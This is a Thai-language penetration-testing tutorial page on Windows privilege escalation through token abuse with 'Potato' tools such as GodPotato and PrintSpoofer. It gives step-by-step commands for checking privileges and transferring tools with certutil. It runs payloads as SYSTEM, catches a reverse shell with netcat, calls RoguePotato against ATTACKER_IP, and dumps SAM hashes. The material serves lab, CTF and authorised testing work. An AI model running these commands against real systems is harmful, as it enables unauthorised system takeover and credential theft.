คลัง
windows-privesc

Token Abuse (Potato Attacks)

Token Abuse ยกระดับเป็น SYSTEM โดยใช้ token privilege ที่อ่อน — โดยเฉพาะ SeImpersonatePrivilege ที่ service account มักมี ผ่านเทคนิคตระกูล 'Potato' (JuicyPotato/PrintSpoofer/GodPotato) บทนี้ลงลึก Windows token, SeImpersonate/SeAssignPrimaryToken, การเลือก Potato ตามเวอร์ชัน Windows, และการใช้ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#token#windows#privesc#seimpersonate#potato#juicypotato#printspoofer#ctf

1. หลักการ — token และ impersonation

Windows ใช้ access token แทนตัวตน/สิทธิ์ของ process หลัง compromise เป็น service account (เช่น IIS, MSSQL) บัญชีเหล่านั้นมักมี SeImpersonatePrivilege ซึ่งอนุญาตให้ 'impersonate' token ของ client ที่เชื่อมต่อมา เทคนิคตระกูล Potato ใช้ความสามารถนี้ + หลอกให้ service ที่รันเป็น SYSTEM auth มาหาเรา → ขโมย/impersonate token ของ SYSTEM → ได้สิทธิ์ SYSTEM

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. ตรวจ token privileges

ดู privilege ที่มีWindows
whoami /priv

# มองหา (ต้อง Enabled หรือ Disabled ก็ใช้ได้):
#   SeImpersonatePrivilege         ← Potato attacks!
#   SeAssignPrimaryTokenPrivilege  ← เช่นกัน
#   SeDebugPrivilege               ← debug/inject process อื่น
#   SeBackupPrivilege              ← อ่านไฟล์ใดก็ได้ (SAM/SYSTEM)
#   SeRestorePrivilege             ← เขียนไฟล์ใดก็ได้
#   SeTakeOwnershipPrivilege       ← ยึด object

# service account (IIS/MSSQL) มัก SeImpersonate by default
whoami /priv; SeImpersonate/SeAssignPrimaryToken = Potato; SeBackup/Restore/Debug = ช่องทางอื่น

3. เลือก Potato ตามเวอร์ชัน Windows

เทคนิคใช้กับหมายเหตุ
PrintSpooferWin10/Server 2016-2019ใช้ Print Spooler — นิยม เสถียร
JuicyPotatoWin7-10/Server ≤2016 (เก่า)ใช้ DCOM/BITS — ไม่เวิร์คบน 2019+
RoguePotatoWin10/Server 2019JuicyPotato รุ่นปรับปรุง
GodPotatoWin8-11/Server 2012-2022ครอบคลุมกว้างสุด ปัจจุบัน
SweetPotatoหลายเวอร์ชันรวมหลายเทคนิค
EfsPotato/SharpEfsPotatoหลายเวอร์ชันใช้ MS-EFSR
GodPotato ครอบคลุมกว้างสุดในปัจจุบัน (Win8-11, Server 2012-2022) — ลองก่อน; PrintSpoofer เสถียรบน 2016-2019; JuicyPotato ใช้ได้แค่เวอร์ชันเก่า

4. การใช้

PrintSpoofer / GodPotatoWindows
# === PrintSpoofer (Win10/Server 2016-2019) ===
PrintSpoofer.exe -i -c cmd            # เปิด cmd เป็น SYSTEM (interactive)
PrintSpoofer.exe -c "C:\Temp\rev.exe"  # รัน payload เป็น SYSTEM

# === GodPotato (กว้างสุด — ต้องระบุ .NET version) ===
GodPotato-NET4.exe -cmd "cmd /c whoami"           # ทดสอบ → nt authority\system
GodPotato-NET4.exe -cmd "C:\Temp\rev.exe"         # รัน payload

# === RoguePotato (Server 2019) ===
RoguePotato.exe -r ATTACKER_IP -e "C:\Temp\rev.exe" -l 9999

# ยืนยัน
whoami        # → nt authority\system
PrintSpoofer -i -c cmd เปิด SYSTEM shell; GodPotato ต้องเลือก -NET2/NET4 ตาม .NET ที่มี; เช็ค whoami

5. Privilege อื่น (ไม่ใช่ Potato)

  • SeBackupPrivilege: อ่านไฟล์ใดก็ได้ → dump SAM+SYSTEM hive → extract hash (secretsdump) → pass-the-hash
  • SeRestorePrivilege: เขียนไฟล์ใดก็ได้ → แทนที่ binary ที่ SYSTEM รัน / utilman.exe trick
  • SeDebugPrivilege: inject เข้า process ที่รันเป็น SYSTEM (เช่น migrate ใน Meterpreter, หรือ dump LSASS)
  • SeTakeOwnershipPrivilege: ยึด object → เปลี่ยน permission → เข้าถึง
  • SeLoadDriverPrivilege: โหลด driver → kernel code execution
  • SeManageVolumePrivilege: เข้าถึง volume → อ่านไฟล์

6. Quick Reference

  • SeImpersonate (service account มักมี) → Potato → SYSTEM
  • ตรวจ: whoami /priv (SeImpersonate/SeAssignPrimaryToken)
  • เลือก Potato: GodPotato (กว้างสุด), PrintSpoofer (2016-2019), JuicyPotato (เก่า)
  • PrintSpoofer.exe -i -c cmd; GodPotato-NET4.exe -cmd "..."
  • SeBackup → dump SAM; SeDebug → inject SYSTEM process
  • SeRestore → เขียนไฟล์ใดก็ได้; SeLoadDriver → kernel

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติได้ shell เป็น service account (เช่น IIS/MSSQL) มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อดูว่า token privilege ใช้ยกระดับได้ไหม

  1. 1เช็ค privilege ที่มี: whoami /priv ดูว่ามี SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege/SeBackupPrivilege/SeDebugPrivilege ไหม
  2. 2เช็ค Windows version เพื่อเลือก Potato ให้ถูก: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  3. 3ดาวน์โหลด Potato ที่เหมาะจาก Kali ผ่าน http server (python3 -m http.server 80) — GodPotato ครอบคลุมกว้างสุด ลองก่อน
  4. 4ส่งเข้าเป้าหมาย: certutil -urlcache -f http:///GodPotato-NET4.exe gp.exe
  5. 5ทดสอบก่อนว่าได้ SYSTEM จริงไหม: gp.exe -cmd "cmd /c whoami" ต้องได้ nt authority\system
  6. 6เปิด listener ที่ Kali: nc -lvnp 4444
  7. 7รัน payload เป็น SYSTEM: gp.exe -cmd "C:\Temp\rev.exe"
  8. 8ถ้า GodPotato ไม่ได้ผล ลอง PrintSpoofer แทน: PrintSpoofer.exe -i -c cmd หรือ RoguePotato ตามตาราง version
  9. 9ถ้าไม่มี SeImpersonate เลย เช็ค SeBackup/SeRestore/SeDebug แทน — SeBackup ให้ dump SAM ได้ตรงๆ
  10. 10ถ้าไม่มี privilege พิเศษอะไรเลย ให้กลับไปเช็ค services/registry/scheduled tasks
ตัดสินใจ: token privilege ใช้ privesc ได้ไหม
whoami /priv — มี SeImpersonate/SeAssignPrimaryToken ไหม?
✅ มี→ ลอง Potato attack
❌ ไม่มี→ เช็ค SeBackup/SeDebug อื่นแทน
เช็ค OS version แล้วเลือก Potato (GodPotato ก่อน)
gp.exe -cmd "whoami" ได้ nt authority\system ไหม?
✅ ได้→ รัน payload จริงเป็น SYSTEM
❌ ไม่ได้→ ลอง PrintSpoofer/RoguePotato ตัวอื่น
รัน reverse shell payload ผ่าน Potato ที่ได้ผล
PrintSpoofer.exe -i -c cmd หรือ RoguePotato ตาม OS
มี SeBackupPrivilege ไหม?
✅ มี→ reg save SAM+SYSTEM แล้ว secretsdump
❌ ไม่มีเลย→ ไม่มี privilege ให้ abuse ไปทางอื่นแทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดู token privilegewhoami /priv (มากับ Windows)--
ดูเวอร์ชัน Windowssysteminfo--
ดาวน์โหลด Potato ตัวที่เหมาะ-git clone PrintSpoofer/GodPotato repogithub.com (PrintSpoofer/GodPotato releases)
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server / certutil--
เปิด reverse shell listenernc / msfconsole-revshells.com
dump SAM ถ้ามี SeBackupreg save + secretsdump.pypipx install impacket-
🚑 ถ้าตันสนิท ลองท่าถัดไป: Credential Dumping (ถ้ามี SeBackup แต่ Potato ไม่เวิร์ค), Win Services / Registry (หา misconfig อื่น), Scheduled Tasks — token privilege ไม่ใช่ทุกเครื่องจะมี ต้องมีแนวสำรองเสมอ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้